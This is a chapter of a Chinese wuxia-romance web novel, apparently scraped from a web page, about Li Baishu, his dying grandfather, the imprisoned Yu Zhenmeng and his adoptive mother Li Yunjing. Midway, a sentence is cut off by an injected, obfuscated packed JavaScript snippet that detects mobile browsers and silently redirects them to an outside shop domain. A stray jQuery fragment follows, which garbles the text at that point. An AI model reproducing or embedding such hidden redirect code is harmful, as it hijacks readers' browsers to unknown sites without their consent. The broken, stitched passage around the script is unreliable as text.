祖父真是哪壶不开提哪壶,可李白术终将相信,这铜镜不会再成为他的软肋。
这是可以引起他对娘的怀念,也能牢记她在自己心目中的样子。在发生了一些变故之后,他反而就应该要让自己变得要一往无前。
哪怕是最重要的行动,李白术最后的志向,他也不愿意再将这个小物件再参与其中。他应该要让它保留原来的一尘不染,清清白白,就像是他娘那段时间,也是这样离开的了。
“这随着我娘和你的死,也没有显得那么重要了。”李白术知道这个世界就没有人肯让他付出真心,他在这里说的不咸不淡,就算是最后饱含热泪,也是迟来的忏悔。
祖父他们为了世俗外物可以抛弃掉真情,能有这样不算惨烈的死法,已经是苍天便宜他的了。
李白术不会想的这么狠,他没把自己在祖父心中的位置看的那么重要。如果他以前遇到复杂的人和事,也能这么淡然就好了。他对自己的生存要求一直都不高。
“如果你死前能够看到的、唯一的亲人,就是我,这一眼应当也足够你闭上眼睛、安心下黄泉了。”
祖父明白李白术是真有在长大,可惜他的成长里,他们做长辈的都没有陪伴操心过,“终究是我们对不住你。”
李白术在离祖父不远的椅子上正襟危坐,偏偏祖父就能立马幻视出,他这个孙子杀死一个人后,是否也是如此的宁静?
祖父的面容还算平静,想必死后也会是极其安详的。
李白术收回目光,少年老成在他身上体现的淋漓尽致,即使他的外表清冷无尘。
“没关系,我都已经接受了。”
祖父不死心还问了句,“连恨都没有了吗?”
李白术一直都与自己的孤寂达成着和解的地步,以往他眸子里还绽放着悲怒之火,可现在什么都没有了。他也终将承认,自己做任何事,哪怕再重要,都只能是孤军奋战。
李白术一个人怎么会承受这么多呢?只会是极端的克制,这一经成了他的一个被动反应了。
“是啊,与其说恨,我倒不如自己早点学会释然。”
玉枕梦最后从牢房里出来,已经是掉了半条命,因为最后其中部分的证据发现有误。
李白术很想给玉枕梦一个机会,但她身上根本就没有值得让他去利用的地方。而玉枕梦在身上被用滥刑的地步下,还能够坚持……她死死咬牙不认,其实最根本的原因就是有人知道了,她的家人是原来江湖上赫赫有名的明月宗。所以最后就是不看僧面看佛面了。
这件案子中间经手了很多人,现在朝廷里,也并非都是贪官在横行霸道。
“没想到你还真是命大。”
玉枕梦听到这身体一激灵,立马抬头盯着李白术。她遭受这么多酷刑,已然瘦的不成样子。
后来她转念一想,白术也会闹别扭了,以前的事原来真不能一笔勾销,她确实把他当过傻子看了。
玉枕梦对李白术的坏事在眼前,才能放下戒心。对他有利的事,她一概不信。看来她对他还真是另一种严苛,自己的格局还是没太大高度的。
她连最后质问的语气,都很虚弱,几乎下一秒就要倒在地上,“我怎么说你竟然要进来跟我作伴,为什么只在最开始的那一天见到了你。原来这一切都是假的。”
李白术站在那里,很笔直,像天边挂着的一轮孤冷的残月。玉枕梦这次倒没选准方向,他也不会伸出援手,就想看她的报应。
玉枕梦眼里似乎再没有光了,而李白术清楚记得,那以往的亮如星星,从来不是因他而闪烁。
李白术刻意的停顿,便是在她心里划上了一道更加血淋淋的伤口。他对他们以前的种种,都涵盖在虚无缥缈根本无从辩起的一场雾,一阵风,随着上了更高的一层台阶,都变成了匆匆过客。
在玉枕梦那里,走一步是地狱,是不堪回首的悔事。而对李白术来说,正是一报还一报,最终得到了某种意义上的包圆。
“不是镜中花、水中月,就不能够让你心中备受打击吗?”
玉枕梦不知道这是意外之悲,还是意外之喜。总之她旧伤好了之后又添新伤,也没有人愿意去珍惜她,除了她自己。
玉枕梦这一次见白术的目光,是狠厉的,“所以吴语香还活着?你和她一起骗我,就是让我生不如死?这进牢房我都已经是万劫不复了,你们就不能真正的放过我?”
玉枕梦心里留有的最后一丝庆幸,是他能来看她,给她了一丝看似不起眼的一种安慰……如果是经历过最绝望的事,就该深有同感。
可她又不想让白术再对自己失望了。
李白术见她可怜到收不到消息,其实她在他眼里不是威胁,那锭金子起的作用,他够在心底里反复回味很多遍。
……那种阴冷的欲望,渐渐环绕缠裹整个他,他想断了她跟别人的可能,却又想不出要以什么名义。可这就是他下意识反应、也做得出来。
李白术要考验玉枕梦,纵使这个要求是他在一味放宽,一份卑劣的占有欲,此刻他并不能认定,她会是他的唯一。
“吴语香最后成了顾睿扬的正牌夫人。他们在我们面前摆了一道,而且还想离间我们的感情。”
玉枕梦微微屏息了一瞬,就当白术是在说服她,编织了一个善意的谎言吧。她怎么想都觉得不对劲,最后还是放在一边。
玉枕梦又是在让李白术做事,自己坐享其成,可这怎么可能呢?她承认,她是对吴语香的好家世嫉妒了,可她也不想让白术揭穿自己。
所以玉枕梦纠结过,但这更多的是被娇养产生的恶习,“你不是武功高强吗?真不想立刻让吴语香死?”
李白术犹觉刺耳,她已坠深渊,却还要重新经历一遍……她到底怎样才会吸取教训?这样的她,如果离开他,还能活多久?
毕竟,玉枕梦身边有潜在的危险在靠近,她却浑然不知。
李白术给她提的醒,都让她有恃无恐。见她这次蹬鼻子上眼,他终于没了耐心,“你知道的,我不喜欢看见你是这副样子。”
偏偏就在这一瞬,玉枕梦不想面对的,全部都吻了上来。
玉枕梦言行变得更柔软了,李白术看起来真的很讨厌她,可她只会用点小伎俩,也不会不择手段要置人于死地。
“可这就已经透露出我的相当一部分性格,你如果真的喜欢过我,那么应该也能包容我这个缺点吧。”
李白术转身就迈着长腿走着,余光却看尽了她的内心斗争和不安,最终他还是松了口,嗓音冷冽,“乖乖跟着我。”
玉枕梦立马变得眉飞色舞,再一次挪动双脚走路,还跟小鸭学步一样。可是要跟上白术也很费劲,他也从没为她放慢过。
她完全能构想出白术冷漠的表情,确实他还是心软了。她感谢自己不会武功,但这个保护罩也不是一直都能存在。
玉枕梦希望自己不会再犯错了,因为回头看,真的挺蠢的。
武馆里的比试进行得
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17915274|213295||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
如火如荼。
李白术刻意收了几分水平,在那些有权有势、只把这当消遣的人面前,他让他们不会输得那么难看。
胆大心细,是他最后能无限接近的处世态度。
李云婧见他那边已经结束了,着人把他带到后场。这次巧遇,真让她淘到了宝。她眼中像其他那些比武者一样,无一不透着对李白术的实力赞许。
李白术为人做事认真,却也不怕行差踏错、从头再来。那么李云婧这里布置得相当温暖,不会让他再走过一天天黑暗末路。
李云婧调查过他,就是做着杀手,却没有泯灭慧心。则正是她可以有许多收获、能养活的棋子,“我在这里面独独发现了你,虽然你不是最后的赢家。当然这赛里面是有一些水分在的。我对你青眼有加,那么这也是对你能力的一种肯定。”
李白术一进来,就对最寻常的东西犹如至宝,让李云婧明白他是一个长情的人,不过这是做杀手的大忌,所以他不简单。
她越看李白术,就越认为自己没有看走眼。这次交涉很顺利,她已迟暮,膝下无子女,所以收养一个,也是依靠。
“我身上只有一枚铜镜,而且还是破损后修复好的。既然你选择收养我,那么我就把我以前染血的钱,全部捐给那些灾民。这最后都是改过自新的一个开始。”
李白术是假装自己是一个孤儿,而他也确实是身边再无其他人可以让他真的去挂念的了。
而他也已经把母亲留下来的铜镜埋好了。她死前就说想跟他们家人埋在一起,所以铜镜的位置也就离他们的墓不远。
老夫人李云婧发现李白术的性子冷冷的,做起事来却相当干脆利落。她的目光一直被人评价是毒辣的。
李云婧的笑不怒自威,对除他以外的下等出身人,都还有一身矜贵。他们从来都不愿踏足这些人的领地里,说来也真是嘲讽,他们是表面守在那里,其实是最被剥削的那类人。
“好孩子,铜镜就交给我来保管吧,还有对你没有达到你娘的遗愿、和自己的鸿鹄之志,往后我都会对你鼎力相助。”
李白术就算是死,也不把真的铜镜交给一个人,哪怕是以后他都要完全交付信任的人。
这也能够时刻提醒他,他自己究竟在做什么。
老夫人敢爱敢恨,性子直爽,对自己精挑细选的人当然会有耐心去长时间磨合,给他安排各种提升他的活动。
“那几个强盗真是死有余辜,你救了我的命,反而还进了牢房里,可见他的背景是雄大的。虽然我府里钱财短缺,但是是老贵族了,人脉广,相信我能够给到你最想要的。”
李白术提前跟她说好了,像他这样的看法,是偶尔会跳出局外,“定期做交易,也会促成亲近之人关系的长久。”
李云婧见到了用饭的时间,也把握住了,他们都相信,最小的事做出来,就算放在那里,也一直都会有意义。
“这是我做的海鲜面。”
李白术见着碗里的用料丰富,可见她是辛苦了一阵子。他表面改口,然而骨子是冷的,与此同时李云婧也表达了这种愿景,愿意去押注。
“很好吃,娘。我现在就改口了。我希望不管走到哪一个阶段,我们都不会放弃彼此。”
李云婧认为他可能在别人耳中听过她,所以见的第一面,他眼里没多少惊讶。她也就不让他变成一个闷葫芦,“那是自然,如果你能乖乖的听从我给你的大部分建议,那我们当然可以互相达到母慈子孝的共识。”